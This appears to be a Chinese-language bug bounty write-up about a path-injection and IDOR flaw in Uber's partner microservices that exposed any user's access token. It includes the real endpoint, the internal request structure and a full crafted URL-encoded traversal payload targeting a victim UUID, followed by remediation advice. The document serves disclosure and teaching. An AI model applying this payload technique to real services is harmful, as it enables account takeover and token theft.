Bug bounty:在Uber微服务中获取任何用户的访问令牌
字数 1328 2025-08-26 22:11:22
Uber微服务中获取任意用户访问令牌的漏洞分析
漏洞概述
本漏洞存在于Uber的微服务架构中,允许攻击者通过构造特殊的API请求获取任意用户的访问令牌,从而完全接管目标账户。该漏洞属于服务器端请求伪造(SSRF)与不安全的直接对象引用(IDOR)的组合漏洞。
漏洞发现过程
初始发现
- Uber构建在一系列微服务之上,内部微服务间的API调用通常缺乏权限检查
- 发现一个获取司机月度信息的端点:
https://partners.uber.com/p3/money/statements/view/current - 响应中包含完整的内部请求信息,包括:
- 请求URI结构
- 当前用户的访问令牌(ACCESS_TOKEN_OF_USER)
- 值得注意的是请求中没有x-auth-header或授权header
关键观察
-
API调用模式:前端将路径参数直接附加到内部API路径上
- 外部请求:
/p3/money/statements/view/current - 内部映射为:
/v1/partners/xxxxx/statements/current
- 外部请求:
-
响应中泄露了用户访问令牌,且没有明显的授权机制
-
如果能够操纵请求参数,将
my_user_uuid改为victim_uuid,就能获取受害者的访问令牌
漏洞利用条件
要成功利用此漏洞,需要满足以下条件:
- 找到一个允许传递任意参数给内部GET请求的端点
- 能够将编码后的字符传递给内部GET请求(如%23表示#,用于中断查询部分)
- 能够查看完整响应
漏洞验证
-
发现符合要求的端点:
https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa- 响应显示UUID被传递到内部API的路径和查询部分
-
测试路径遍历:
- 发送请求:
https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa%2f..%2f4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa - 观察到
../被转义,但仍能控制路径结构
- 发送请求:
完整利用步骤
-
目标内部请求结构:
http://127.0.0.1:123/v1/partners/victim_uuid/statements/current?earnings_structure_type=&locale=en&user_id=victim_uuid -
可控的请求结构:
http://127.0.0.1:123/v1/statements/INJECTION_HERE?earnings_structure_type=&locale=en&statement_uuid=INJECTION_HERE&user_id=your_user_id -
构造恶意请求:
https://partners.uber.com/p3/money/statements/view/15327ef1-2acc-e468-e17a-576a7d12312%2f..%2f..%2f..%2Fv1%2Fpartners%2FVICTIM_UUID%2Fstatements%2Fcurrent%3Fearnings_structure_type%3D%26locale%3Den%26user_id%3DVICTIM_UUID%23 -
解码后的实际路径:
/15327ef1-2acc-e468-e17a-576a7d12312/../../../v1/partners/VICTIM_UUID/statements/current?earnings_structure_type=&locale=en&user_id=VICTIM_UUID# -
最终内部请求:
http://127.0.0.1:123/v1/statements/15327ef1-2acc-e468-e17a-576a7d12312/v1/partners/VICTIM_UUID/statements/current?earnings_structure_type=&locale=en&user_id=VICTIM_UUID#......
漏洞原理分析
- 微服务架构缺陷:内部微服务间通信缺乏必要的授权检查
- 路径注入:前端服务将用户可控参数直接拼接到内部API路径中
- 响应信息泄露:内部API响应中包含敏感信息(访问令牌)
- 缺乏输入过滤:未对用户提供的路径参数进行充分验证和过滤
修复建议
- 实施严格的微服务间认证机制
- 对用户提供的所有参数进行严格验证和过滤
- 避免在响应中返回敏感信息
- 实施服务网格架构,统一处理服务间通信的安全问题
- 对内部API调用实施强制授权检查
总结
此漏洞展示了微服务架构中常见的安全问题:
- 过度信任内部服务
- 缺乏服务间认证
- 敏感信息泄露
- 不安全的参数传递
开发人员应意识到,即使内部API也应实施与外部API相同的安全标准,因为攻击者可能通过各种方式访问这些"内部"端点。